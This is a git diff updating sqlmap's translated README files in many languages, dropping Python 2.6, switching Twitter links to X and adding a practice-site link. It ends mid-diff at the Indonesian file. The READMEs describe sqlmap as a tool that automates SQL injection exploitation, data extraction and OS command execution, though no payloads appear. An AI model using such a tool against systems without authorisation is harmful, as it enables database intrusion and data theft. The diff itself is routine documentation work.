[![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +
+ +برنامج sqlmap هو أداة اختبار اختراق مفتوحة المصدر تقوم بأتمتة عملية اكتشاف واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كشف قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترف، ومجموعة واسعة من الخيارات بما في ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملفات الأساسي، وتنفيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق. + +لقطات الشاشة +---- + +
+ +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +
+ +يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات في الويكي. + +التثبيت +---- + +يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master). + +يفضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap): + +
+ + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +
+ +يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** و **2.7** و **3.x** على أي نظام تشغيل. + +الاستخدام +---- + +للحصول على قائمة بالخيارات والمفاتيح الأساسية استخدم: + +
+ + python sqlmap.py -h + +
+ +للحصول على قائمة بجميع الخيارات والمفاتيح استخدم: + +
+ + python sqlmap.py -hh + +
+ +يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601). +للحصول على نظرة عامة على إمكانيات sqlmap، وقائمة الميزات المدعومة، ووصف لجميع الخيارات والمفاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +الروابط +---- + +* الصفحة الرئيسية: https://sqlmap.org +* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master) +* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues +* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki +* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* تويتر: [@sqlmap](https://x.com/sqlmap) +* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ساحة التدريب: https://sekumart.sekuripy.hr +* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index cc10870af1c..eac60822f01 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. @@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи. +sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.7** и **3.x** на всички платформи. Използване ---- @@ -45,6 +45,7 @@ sqlmap работи самостоятелно с [Python](https://www.python.or * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Упътване: https://github.com/sqlmapproject/sqlmap/wiki * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Площадка за упражнения: https://sekumart.sekuripy.hr * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md new file mode 100644 index 00000000000..2cff7d25282 --- /dev/null +++ b/doc/translations/README-bn-BD.md @@ -0,0 +1,63 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +**SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও। + + + +স্ক্রিনশট +--- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-এর বিভিন্ন ফিচারের ডেমোনস্ট্রেশন দেখতে পারেন। + +ইনস্টলেশন +--- +সর্বশেষ টারবলে ডাউনলোড করুন [এখানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সর্বশেষ জিপ ফাইল [এখানে](https://github.com/sqlmapproject/sqlmap/zipball/master)। + +অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে ক্লোন করুন: + +``` +git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev +``` + +SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে। + + + +ব্যবহারের নির্দেশিকা +--- + +বেসিক অপশন এবং সুইচসমূহ দেখতে ব্যবহার করুন: + +``` +python sqlmap.py -h +``` + +সমস্ত অপশন ও সুইচের তালিকা পেতে ব্যবহার করুন: + +``` +python sqlmap.py -hh +``` + +আপনি একটি নমুনা রান দেখতে পারেন [এখানে](https://asciinema.org/a/46601)। +SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এবং কনফিগারেশন সম্পর্কে বিস্তারিত জানতে [ব্যবহারকারীর ম্যানুয়াল](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামর্শ দেওয়া হচ্ছে। + + + +লিঙ্কসমূহ +--- + +* হোমপেজ: https://sqlmap.org +* ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ইস্যু ট্র্যাকার: https://github.com/sqlmapproject/sqlmap/issues +* ব্যবহারকারীর ম্যানুয়াল: https://github.com/sqlmapproject/sqlmap/wiki +* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* অনুশীলন সাইট: https://sekumart.sekuripy.hr +* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md new file mode 100644 index 00000000000..02471d311a2 --- /dev/null +++ b/doc/translations/README-ckb-KU.md @@ -0,0 +1,68 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + + +
+ + + +بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە کە بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە کە کێشەی ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها کۆمەڵێک سکریپتی بەرفراوانی هەیە کە ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن لەگەڵ بنکەدراوە. لە کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم و جێبەجێکردنی فەرمانەکان لە ڕێگەی پەیوەندی Out Of Band لە سیستەمی کارگێڕدا. + + +سکرین شاتی ئامرازەکە +---- + + +
+ + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +
+ +بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت. + + +دامەزراندن +---- + +بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت. + +باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک. + +چۆنیەتی بەکارهێنان +---- + +بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە: + + python sqlmap.py -h + +بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا: + + python sqlmap.py -hh + +دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601). +بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +بەستەرەکان +---- + +* ماڵپەڕی سەرەکی: https://sqlmap.org +* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues +* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki +* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr +* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە + +وەرگێڕانەکان diff --git a/doc/translations/README-de-GER.md b/doc/translations/README-de-DE.md similarity index 87% rename from doc/translations/README-de-GER.md rename to doc/translations/README-de-DE.md index b279c87abbf..abb9cea3a8d 100644 --- a/doc/translations/README-de-GER.md +++ b/doc/translations/README-de-DE.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. @@ -44,6 +44,7 @@ Links * Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues * Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Spielwiese: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index a78dee2d41d..a2878800d6e 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". @@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma. +sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma. Uso --- @@ -44,6 +44,7 @@ Enlaces * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo de pruebas: https://sekumart.sekuripy.hr * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index baff855a93f..2f3cbf31349 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
@@ -79,6 +79,7 @@ * پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* توییتر: [@sqlmap](https://twitter.com/sqlmap) +* توییتر: [@sqlmap](https://x.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* زمین تمرین: https://sekumart.sekuripy.hr * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index c9eb5967f5f..02bfe0d8944 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. @@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/) +sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/) Utilisation ---- @@ -44,6 +44,7 @@ Liens * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Terrain de jeu: https://sekumart.sekuripy.hr * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index b33b622b5c1..161280fe892 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. @@ -20,7 +20,7 @@ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα. +Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα. Χρήση ---- @@ -45,6 +45,7 @@ * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Χώρος δοκιμών: https://sekumart.sekuripy.hr * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index c80e0ce78b8..4807f57d6c1 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. @@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. +sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. Korištenje ---- @@ -45,6 +45,7 @@ Poveznice * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Vježbalište: https://sekumart.sekuripy.hr * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 02b7f378984..5a35ec38496 100644 --- 